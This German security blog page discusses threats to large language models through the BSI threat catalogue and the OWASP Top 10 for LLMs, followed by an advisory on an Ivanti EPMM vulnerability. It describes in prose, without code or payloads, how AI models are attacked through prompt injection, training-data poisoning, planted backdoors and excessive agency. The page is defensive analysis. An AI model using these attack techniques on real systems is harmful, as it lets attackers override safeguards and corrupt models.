Wie bei allen (Technologie-)Hypes verbreiten und vermischen sich Fakten und Fiktion nahezu ungebremst, was nicht zuletzt durch die unbestreitbar beeindruckenden Fähigkeiten von ChatGPT und Co verstärkt wird. Auch aus Sicht der Informationssicherheit ist die Entwicklung hochgradig spannend, denn für bösartige Akteure ergeben sich neue Kategorien von Schwachstellen und damit Angriffsmöglichkeiten. Gleichzeitig stehen wir diesen Gefahren und der rasanten Entwicklung jedoch nicht hilflos gegenüber. Mit bekannten methodischen Werkzeugen und einem kühlen Kopf lassen sich Bedrohungen ermitteln und Gegenmaßnahmen ableiten.

Schutzziele gelten auch für LLMs

In der Welt der Informationssicherheit und des Datenschutzes sind drei Schutzziele von zentraler Bedeutung: Vertraulichkeit, Verfügbarkeit und Integrität. Diese gelten für alle Arten von Daten und Informationen. LLMs sind wiederum nichts anderes als Informationen in Form von Zahlen in ziemlich großen Matrizen. Dazu gehören sowohl mit gigantischem Ressourcenaufwand trainierte Foundation Models wie GPT-4 (OpenAI), LLaMA (Meta), Claude (Anthropic) und PaLM (Google) mit reglementiertem Zugriff, als auch eine unaufhörlich wachsende Menge an frei verfügbaren Klonen, nutzbar für jeden mit geeigneter Hardware (mit ausreichend Geduld sind selbst handelsübliche Grafikkarten mittlerweile ausreichend).

Bezogen auf LLMs können die Schutzziele der Informationssicherheit wie folgt beschrieben werden:

  • Vertraulichkeit bezieht sich auf den Schutz von Informationen vor unbefugtem Zugriff. Für LLMs bedeutet das, dass die Modelle gleichermaßen geschützt werden müssen, wie die Daten, mit denen sie trainiert wurden. Dies gilt sowohl für die Modelle an sich, als auch für sämtliche Datenflüsse zum Modell (Training) und ausgehend vom Modell (Inferenz bzw. Abfragen). Vergleichbar ist dies mit personenbezogenen Daten, beispielsweise bei einem System zur Verarbeitung medizinischer Daten zwecks Diagnostik. Diese unterliegen höchsten Vertraulichkeitsansprüchen, was sich auch auf verarbeitende KI-Modelle überträgt. Das betrifft nicht nur lokal betriebene Modelle sondern auch Dienste wie ChatGPT, die sich vorbehalten Benutzereingaben per Opt-Out für weitere Trainingsdaten zu verwenden. Dass die Vertraulichkeit damit eindeutig beeinträchtig ist, schlussfolgerte auch Samsung, nachdem Ingenieure geheime Unternehmensdaten in den Chatbot von OpenAI eingegeben hatten.
  • Verfügbarkeit stellt sicher, dass autorisierte Benutzer in einem angemessenen Zeitrahmen Zugriff auf die benötigten Informationen haben. Im Kontext von LLMs bedeutet das, dass die Modelle immer dann verfügbar sein müssen, wenn sie benötigt werden. Wird ein eigens trainiertes LLM im Rahmen eines wichtigen oder sogar kritischen Prozesses verwendet, sollte sichergestellt sein, dass es Sicherungskopien und Redundanzen gibt. Andernfalls können Ausfälle oder Verzögerungen von mehreren Tagen bis Wochen entstehen, um das Modell von Grund auf neu zu trainieren. Hinzu kommen die teilweise enormen Kosten durch die benötigte Rechenleistung. Auch eine Auslagerung in Cloud-Dienste löst dieses Problem nicht vollständig. Beispielsweise in der Finanzbranche gelten hohe Ansprüche an die Verfügbarkeit.
  • Integrität bezieht sich auf die Richtigkeit und Vollständigkeit von Informationen. An dieser Stelle sei das bekannte Problem von LLMs, Dinge zu “halluzinieren” kurz außer Acht gelassen. Grundlegend ist es wichtig, dass die Modelle und ihre Trainingsdaten vor Manipulationen geschützt sind. Jede Änderung der Daten oder des Modells könnte das Verhalten des LLMs beeinflussen und zu unerwünschten oder sogar schädlichen Ergebnissen führen. Dieses Problem betrifft allerdings nicht nur LLMs oder neuronale Netze, sondern auch die Auswertung von Daten allgemein und ist ein hartnäckiges Problem. Spätestens wenn auf Basis der gelieferten Ergebnisse von KI-Modellen Entscheidungen getroffen werden, die sich auf einzelne Personen oder Personengruppen auswirken, muss die Integrität der involvierten Daten gewährleistet sein.
Halluzinierende LLMs?

Halluzinationen im Kontext von LLMs bezeichnen die Eigenschaft, dass die Modelle Lücken in den Trainingsdaten mit plausibel klingenden aber falschen Aussagen überdecken. Menschen wissen, dass sie vieles nicht wissen und sind in der Lage, Wissenslücken als solche zu identifizieren und mit einem einfachen “weiß ich nicht” zu quittieren. LLMs besitzen nicht die Möglichkeiten für solche kognitiven Tricks und sind darauf trainiert, immer hilfsbereit zu sein und eine positive Antwort zu liefern. Da diese Angewohnheit für viele Anwendungsfälle einer sicheren und zuverlässigen Nutzbarkeit im Weg steht, wird aktiv an dem Problem geforscht. Derzeit ist allerdings unklar, ob und mit welchen Methoden eine Lösung möglich ist. Zumal das Verhalten für kreative Zwecke wiederum nicht unerwünscht ist.

Auf dieser Ebene betrachtet, können und müssen für die Nutzung aber auch Absicherung von LLMs mindestens klassische Sicherheitsmaßnahmen wie Verschlüsselung, Backups und Redundanzen sowie Zugriffskontrollen ergriffen werden. Am einfachsten ist der Vergleich mit typischen Wissens- und Informationsspeichern von Organisationen und Unternehmen, seien es IAM-Systeme, Fileshares, Source-Code-Verwaltung, CRM-Plattformen, Dokumentenverwaltung, Wikis und vieles mehr. Letztlich die gesamte digitale Landschaft, welche zur Erbringung der Geschäftsprozesse benötigt wird. Denn gute Informationssicherheit verfolgt grundlegend einen ganzheitlichen Ansatz.

Typische Bedrohungen in der Informationssicherheit

Um für solche digitalen Landschaften die relevanten Bedrohungen und geeigneten Sicherheitsmaßnahmen zu ermitteln, gibt es verschiedene Wege. Als Grundlage für Risikoanalysen hat das Bundesamt für Sicherheit in der Informationstechnik (BSI) als Teil des IT-Grundschutzes einen Katalog von elementaren Gefährdungen erstellt. Dieser enthält typische Bedrohungen, die von Umweltereignissen über versehentliche Fehlhandlung bis hin zu Schadsoftware reichen. Während nicht alle davon direkt auf LLMs anwendbar sind, können einige jedoch als Ausgangspunkt dienen, beispielsweise der Ausfall von Kommunikationsnetzen, die Manipulation von Informationen oder auch die unberechtigte Nutzung von Systemen. Zur Inspiration sind folgend einige konkrete Beispiele aufgeführt:

Beispielhafte elementare Gefährdungen mit Bezug zu LLMs
  • G0.9 Ausfall von Kommunikationsnetzen: Besteht keine Verbindung, sei es zur Cloud oder dem eigenen Rechenzentrum in dem ein LLM betrieben wird, kann es nicht genutzt werden und die Verfügbarkeit ist beeinträchtigt.
  • G0.11 Ausfall oder Störung von Dienstleistern: Wird der Betrieb einem Dienstleister übertragen, sei es in Form von Rechenzentrumskapazitäten oder SaaS-Produkten, besteht eine Abhängigkeit, die beim Ausfall oder einer Störung zur Beeinträchtigung der Verfügbarkeit führt.
  • G0.14 Ausspähen von Informationen (Spionage): Hier wird eindeutig die Vertraulichkeit beeinträchtigt. Die Bedrohung umfasst explizit auch die Möglichkeit, dass einzelne öffentlich verfügbare unverfängliche Informationen zusammengetragen werden und dadurch erst eine kompromittierende Wirkung entfalten. Genau dies kann bei großen Trainingsdatensätzen der Fall sein.
  • G 0.20 Informationen oder Produkte aus unzuverlässiger Quelle: Die Vielfalt sowohl von Trainingsdatensätzen als auch vortrainierten Modellen ist bereits heute gigantisch. Plattformen wie HuggingFace bieten Möglichkeiten zum Austausch von Datensätzen, Modellen und mehr. Dadurch ergeben sich ähnliche Gefahren, die für verschiedene Arten von Software- und Paket-Quellen in den letzten Jahren zu weitreichenden Auswirkungen geführt haben. Am bekanntesten sind Vorfälle des NodeJS-Paketmanagers NPM oder das Python-Äquivalent PyPI. Angreifer haben dabei Besitz von weitverbreiteten Paketen erlangt und Schadcode eingefügt oder Pakete mit ähnlich klingenden Namen genutzt, um unvorsichtige Benutzer anzugreifen. Je nach Ausprägung des Schadcodes sind demnach alle Schutzziele betroffen: Vertraulichkeit, Verfügbarkeit und Integrität. Diese Angriffe gelten auch aus Supply-Chain-Angriffe und wurden für LLMs bereits erfolgreich demonstriert.
  • G 0.22 Manipulation von Informationen: Wie oben zum Schutzziel der Integrität bereits erläutert, ist die Qualität und Korrektheit von Trainingsdaten eine Grundvoraussetzung für die Zuverlässigkeit der LLMs. Gelingt es Angreifern diese in den Originalquellen oder auch im vorbereiteten Trainingsdatensatz zu manipulieren, kann dies zu falschen oder irreführenden Entscheidungen und Aussagen im Sinne der Angreifer führen. Unabhängig davon, ob es dadurch zu unerwünschten Unternehmensentscheidungen oder der Verbreitung von Desinformationen kommt, ist die Integrität entsprechend beeinträchtigt. Eine weitere konkrete Gefahr ergibt sich durch die Auslagerung des Trainings an externe Dienstleister. Diese können durch Manipulation der Trainingsdaten Hintertüren in den Modellen einschleusen, die sich nach aktuellem Stand nicht zuverlässig entdecken lassen.
  • G 0.28 Software-Schwachstellen oder -Fehler: Die Software-Projekte rund um LLMs sind in der Transitionsphase von Forschungsprojekten zu marktreifen Produkten. Der Drang möglichst schnell fertige Produkte anbieten zu können, führt häufig zu Entwicklungspraktiken, die nicht den Best Practices folgen und Schwachstellen verursachen. Die konkreten Auswirkungen sind abhängig von der Art der Schwachstelle. Gemessen an der potenziellen Angriffsoberfläche (interaktive Benutzereingaben, Verarbeitung von strukturierten und unstrukturierten Inhalten, komplexe Rollen- und Rechtekonzepte für die umliegenden Anwendungen usw.) sind von Informationslecks bis hin zur Übernahme der involvierten Systeme durch Angreifer alle Auswirkungen denkbar. Entsprechend sind auch alle Schutzziele – Vertraulichkeit, Verfügbarkeit und Integrität – betroffen.
  • G 0.29 Verstoß gegen Gesetze oder Regelungen: Zwar fällt der Bezug zu einem einzelnen Schutzziel schwer, jedoch ist die Bedrohung dafür nicht weniger relevant. Viele Aspekte rund um Datenschutz und Urheberrecht sind im Kontext von LLMs derzeit unklar. Einige Unternehmen handeln vorzeitig, in dem große Datenmengen gesammelt und zu Trainingszwecken verarbeitet werden, ohne die konkreten Quellen und etwaige Lizenzhinweise anzugeben bzw. zu beachten. Dies geschieht in der Hoffnung, durch Lobbyarbeit und starke Medienpräsenz ausstehende Gesetzgebungen oder rechtliche Entscheidungen zu beeinflussen. Eine Einstellung, die Meta (ehemals Facebook) in der Vergangenheit teuer zu stehen gekommen ist.

Auf der Basis solch relevanter Bedrohungen kann im Prinzip eine vollständige Risikoanalyse nach IT-Grundschutz durchgeführt werden, welche die Bedrohungslage beim Einsatz von LLMs oder KI-Modellen jeder Art erfasst. Die dafür benötigte Infrastruktur sollte dabei gleich mit betrachtet werden, unabhängig ob Cloud oder On-Premise. Es gilt dabei, sich bewusst Gedanken über das Einsatzumfeld und den Anwendungsfall zu machen. Mit dieser Informationsgrundlage gestaltet sich auch die Ableitung relevanter Sicherheitsmaßnahmen wesentlich einfacher und zielgerichteter.

Spezielle Schwachstellen von LLMs

Der zuvor beschriebene klassische und zum Teil recht abstrakte Ansatz kann mit konkreten Schwachstellenkategorien für LLMs ergänzt bzw. kombiniert werden. Das „Open Web Application Security Project“ (OWASP) stellt eine solche Auflistung von Schwachstellen bereits seit langer Zeit für Web-Applikationen in den OWASP Top 10 zusammen. Ein entsprechendes Pendant speziell für LLMs wurde zum 01.08.2023 veröffentlicht.

Die Top 10 umfassen dabei an erster Stelle Prompt Injections. Die namentliche Ähnlichkeit zur klassischen SQL Injection ist kein Zufall. Um LLMs, insbesondere im Rahmen von interaktiven Chats, daran zu hindern unerwünschte Inhalte von sich zu geben, werden der Benutzereingabe verschiedene Instruktionen vorangestellt. Prompt Injections zielen darauf ab, diese Instruktionen auszuhebeln. Besonders bekannt geworden ist dies bei der Veröffentlichung des Chatbots von Bing. Die Auswirkungen sind in einem lesenswerten Blogbeitrag von Simon Willison dargestellt.

Die konkreten Schwachstellen-Kategorien weisen dabei Ähnlichkeiten bzw. auch direkte Zusammenhänge auf, sowohl zu den OWASP Top 10 Schwachstellen von Web-Anwendungen, als auch zu den weiter oben aufgeführten elementaren Gefährdungen des IT-Grundschutzes. Grund dafür ist schlichtweg, dass LLMs von den gleichen Arten von Schwachstellen betroffen sind wie der Großteil aller informationsverarbeitenden Systeme. Die primären Unterschiede liegen in den konkreten Ausprägungen und entsprechend den zugehörigen Gegenmaßnahmen.

Übersicht der OWASP Top 10 für LLMs
  • LLM01 Prompt Injection: Mittels direkter oder indirekter Manipulation der Eingaben bzw. Prompts werden ungewollte Verhaltensweisen ausgelöst. Exemplarisch dafür ist die Ausgabe von beleidigenden, verleumderischen oder verbotenen Inhalte (Anleitungen zur Herstellung gefährlicher Stoffe o.ä.). Je nach Verwendungszweck der Ausgabe, beispielsweise zur Feststellung von Kreditwürdigkeiten, Auswertung von Anträgen und Verträgen oder anderen automatisierten Entscheidungen können die Konsequenzen entsprechend gravierend ausfallen.
  • LLM02 Insecure Output Handling: Die Ausgaben von LLMs können nicht nur Fließtext, sondern auch strukturierte Daten beinhalten. Werden diese ungefiltert übernommen, können in den nachgelagerten Systemen klassische Schwachstellen wie Cross-Site-Scripting (XSS) oder sogar Remote Code Execution (RCE) ausgelöst werden.
  • LLM03 Training Data Poisoning: Wenn die Trainingsdaten für ein LLM durch Angreifer manipuliert, sprich “vergiftet” werden können, sind ungewollte Verhaltensweisen und Ausgaben die Folge. Die Auswirkungen können ähnlich wie bei Prompt Injection ausfallen. Je nach Ausprägung können Angreifer auch bestimmte Schlüsselwörter in die Trainingsdaten einschleusen, wodurch nur bei Abfrage bestimmter Informationen voreingenommene und unethische Ergebnissen geliefert werden.
  • LLM04 Model Denial of Service: Dies ist das LLM-Gegenstück zu klassischen Denial-of-Service-Angriffen (DoS). Das Training aber auch die Inferenz (die Erzeugung von Ausgaben) sind zumindest aktuell noch sehr ressourcen- und damit kostenintensiv. Hinzu kommt, dass zwischen der Länge der Benutzereingabe und der Ausgabe keine direkte Relation besteht. Angreifer können dies nutzen, um hohe Kosten zu verursachen oder die vorhandenen Kapazitäten so auszulasten, dass eine normale Benutzung beeinträchtigt wird.
  • LLM05 Supply Chain Vulnerabilities: Um LLMs herum entwickelt sich ein umfangreiches und weit verzweigtes Ökosystem von Modellen, Datensätzen, Algorithmen, Ausführungsumgebungen und mehr. Werden die Bezugsquellen nicht geprüft oder sind nicht ohne weiteres überprüfbar, besteht die Gefahr, dass Angreifer in dieses Ökosystem schadhafte Inhalte einbringen, die unbemerkt übernommen werden und weite Verbreitung finden.
  • LLM06 Sensitive Information Disclosure: Durch unzureichend bereinigte Trainingsdaten sowie die Aggregation verschiedenster Datenquellen entsteht die Gefahr, dass vertrauliche Daten preisgegeben werden. Werden beispielsweise interne Code-Repositories und Dokumentationen zum Training genutzt, könnten API-Schlüssel und Zugangsdaten enthalten sein die über das Modell ungewollt abfragbar sind.
  • LLM07 Insecure Plugin Design: Um LLMs mit zusätzlichen Fähigkeiten auszustatten, werden Plugins verwendet. Diese ermöglichen die Suche im Internet, den Aufruf von Programmen bspw. zur Lösung mathematischer Gleichungen, die Interaktion mit APIs und vieles mehr. Die Idee ist, dass die LLMs selbst entscheiden, welche Werkzeuge für die gestellte Aufgabe genutzt werden. Sind die Zugriffsrechte sowie Ein- und Ausgabemöglichkeiten unsauber definiert bzw. abgegrenzt, bestehen indirekte Angriffsmöglichkeiten auf diese Plugins und die Daten, auf welche diese wiederum Zugriff haben. Des Weiteren besteht die Gefahr, dass Plugins auf externe Quellen zugreifen und bösartige Inhalte an das LLM zurückliefern. Werden diese Inhalte nicht genauso stringent geprüft und validiert wie andere Benutzereingaben, sind auch dadurch indirekte Angriffe möglich.
  • LLM08 Excessive Agency: Insbesondere bei der Nutzung von Plugins und anderen potenziell rekursiven Mechanismen – also LLMs die ihre Ausgaben wieder als Eingaben verwenden – müssen sinnvolle Einschränkungen definiert werden. Abhängig von konkreten Einsatzzwecken und Plugins können anderenfalls vielfältige Auswirkungen die Folge sein. Beispielsweise könnte ein LLM das mit APIs oder Datenbanken interagieren kann, zum unbefugten Anlegen, Ändern und Löschen von Daten verleitet werden.
  • LLM09 Overreliance: Werden LLMs übermäßig zur Entscheidungsfindung oder Erstellung von Inhalten genutzt, besteht die Gefahr darüber Falschinformationen zu verbreiten oder falsche Entscheidungen mit gravierenden Folgen zu treffen. Ein konkretes Beispiel ist die Nutzung bei der Software-Entwicklung. Wird der erzeugte Quelltext ungeprüft übernommen, besteht die Gefahr, dass unerkannte Schwachstellen in produktiv genutzten Anwendungen und Web-Applikationen einfließen. Pauschalisiert ausgedrückt: Die Korrektheit der Ergebnisse von LLMs kann nur von Menschen geprüft werden, welche die korrekten Ergebnisse auch selbst erzeugen könnten. Wer zu einem bestimmten Thema nichts weiß, kann Aussagen ohne externe Referenzen nicht validieren.
  • LLM10 Model Theft: Die eigentlichen Date, aus denen das Modell besteht, inklusive Konfigurationsparameter, beinhalten eine Repräsentation der Informationen mit denen es trainiert wurde. Für interne Zwecke auf Unternehmensdaten trainierte LLMs beinhalten demnach eine große Menge vertraulicher Daten. Gelingt es einem Angreifer das Modell zu entwenden, wird entsprechend auch die Vertraulichkeit der Trainingsdaten beeinträchtigt. Demnach muss der Zugriff auf die eigentlichen Modelle sowie die Trainingsdaten und deren Quellen mindestens genauso strikt geregelt werden.

Sicherheitsmaßnahmen

Die bisherigen Schritte liefern ein Fundament zur Ableitung von Sicherheitsmaßnahmen im Umgang mit LLMs. Die genauen Maßnahmen hängen von den konkret ermittelten Bedrohungen und der Ausprägung der Nutzung ab. Ist es “nur” ein SaaS-Dienst, in dem Trainingsdaten hochgeladen werden und im Anschluss eine abstrahierte Modell-Interaktion möglich ist? Wird ein fertiges Produkt On-Premise verwendet? Soll eine interne Informationsplattform oder gar ein kommerzielles Produkt entwickelt werden?

Auch hier gibt es hilfreiche Informationen, die zurate gezogen werden können. Bezogen auf den oben erwähnten IT-Grundschutz bietet das BSI mit dem IT-Grundschutz-Kompendium eine Sammlung von Bausteinen und Sicherheitsanforderungen für organisatorische Prozesse bis hin zu einzelnen Arten von IT-Systemen. Diese können zwar auf die zugrundliegenden Systeme, Infrastrukturen und Prozesse angewendet werden, haben jedoch nicht direkt etwas mit LLMs oder KI-Modellen zu tun.

Spezifischer hingegen ist das oben genannte OWASP-Projekt, welches auch die OWASP Top 10 für LLMs zusammengestellt hat. In einem weiterführenden Dokument werden neben detaillierten Informationen und Beispielen zu den Schwachstellen auch konkrete Gegenmaßnahmen aufgelistet.

Es ist zudem davon auszugehen, dass sich im Laufe der Zeit Muster und Best Practices herauskristallisieren, die es erlauben stärker und genauer auf Sicherheitsaspekte und -maßnahmen einzugehen, als dies aktuell noch möglich ist. Bis dahin erlauben die hier dargestellten Informationen und Grundlagen eine Möglichkeit, dennoch strukturiert und ganzheitlich die Informationssicherheit beim Einsatz von LLMs einzubeziehen.

Fazit

Wir hoffen die obigen Ausführungen vermitteln, dass trotz aller Entwicklungen und atemberaubender Schlagzeilen auch LLMs letztlich „nur“ informationsverarbeitende Systeme sind. Entsprechend gelten grundlegend die gleichen Bedrohungen, die wiederum mit bewährten und bekannten Methoden erfasst, bewertet und behandelt werden können. Gepaart mit der Betrachtung spezieller Schwachstellen ergeben sich Werkzeuge, mit denen sich proaktive Informationssicherheit und Security by Design-Prinzipien auf LLMs und Co anwenden lassen.

All dies soll nicht darüber hinwegtäuschen, dass KI-Technologien sich weiterhin und in absehbarer Zukunft stark weiterentwickeln werden. Entsprechend wird sich auch die Sicherheitslage wandeln, wie es für die gesamte IT-Branche seit jeher der Fall ist. Der Einsatz neuer Technologien ist nicht frei von Risiken. Diese sollten daher sorgsam bewertet und gemeinsam mit entsprechenden Sicherheitsmaßnahmen dem tatsächlichen Nutzen für den eigenen Anwendungsfall gegenüber gestellt werden.

Eines ist allerdings klar, es bleibt spannend!

HiSolutions Research

Eine 10 von 10 – Ivanti CVE-2023‑35078 – Hilfe zur Selbsthilfe


Update vom 10.08.2023:

Für Ivanti Endpoint Manager Mobile (EPMM) wurde am 03.08.2023 eine weitere Schwachstelle (CVE‑2023-35082) mit einer CVSS-Bewertung von 10.0 veröffentlicht. Die Schwachstelle ist ähnlich zu der initial veröffentlichen CVE-2023-35078. Am 07.08.2023 hat Invanti veröffentlicht, dass diese Schwachstelle alle Versionen von EPMM betrifft. Die Maßnahmen zum Schließen der Schwachstelle und einer Identifizierung eines Angriffs wurden in dem Dokument „Hilfe zur Selbsthilfe – CVE‑2023‑35078“ ergänzt.


Update vom 01.08.2023:

Auf Basis der bereits veröffentlichten Expoits konnte der String zur Identifizierung eines Angriffs genauer bestimmt werden. Diese finden Sie in dem Dokument „Hilfe zur Selbsthilfe – CVE-2023 35078“ unter dem Punkt 2.


Update vom 31.07.2023:

Seit dem Wochenende gibt es die ersten öffentlichen Proof of Concept Exploits auf GitHub. Die teilweise in Python geschriebenen Programme ermöglichen eine automatische Ausnutzung der Ivanti Schwachstelle CVE-2023-35078.

Zusätzlich wurde am 28.07.2023 von Ivanti eine weitere Sicherheitslücke (CVE-2023-35081) publiziert. Hierbei handelt es sich um eine Schwachstelle welche es dem Angreifer erlaubt als authentifizierten Administrator beliebige Schreibvorgänge auf dem EPMM-Server durchzuführen.


Am 24. Juli 2023 hat der Hersteller Ivanti Informationen zu der Sicherheitslücke CVE-2023‑35078  veröffentlicht. Die Schwachstelle betrifft die Software „Ivanti Endpoint Manager Mobile“ (EPMM), auch bekannt als MobileIron Core. Um unseren Kunden eine Möglichkeit zu geben, erste Maßnahmen zu ergreifen und ihre Systeme zu prüfen, haben wir einen Leitfaden „Hilfe zur Selbsthilfe – CVE-2023‑35078“ erstellt. Der Leitfaden kombiniert die öffentlichen Informationen der staatlichen Sicherheitsbehörden, Fach-Blogs und die Angaben des Herstellers mit der Expertise der HiSolutions.

Sollten Sie Ivanti bzw. MobileIron Core nutzen, prüfen Sie bitte anhand des Dokuments, ob Sie alle relevanten Maßnahmen ergriffen haben.

HINWEIS: Das Dokument wird laufend aktualisiert. Bitte achten Sie daher auch auf weitere Veröffentlichungen auf unserem Research-Blog. Weitere Informationen und Cybersicherheitswarnungen erhalten Sie auch beim Bundesamt für Sicherheit in der Informationstechnik (BSI) unter https://www.bsi.bund.de/SiteGlobals/Forms/Suche/BSI/Sicherheitswarnungen/Sicherheitswarnungen_Formular.html